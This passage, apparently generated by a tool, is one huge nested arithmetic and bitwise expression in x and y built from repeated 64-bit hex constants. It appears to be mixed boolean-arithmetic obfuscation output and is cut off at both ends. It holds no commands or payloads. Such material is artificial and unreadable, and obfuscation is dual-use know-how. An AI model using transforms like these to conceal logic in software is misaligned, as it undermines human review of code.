+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)))+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|(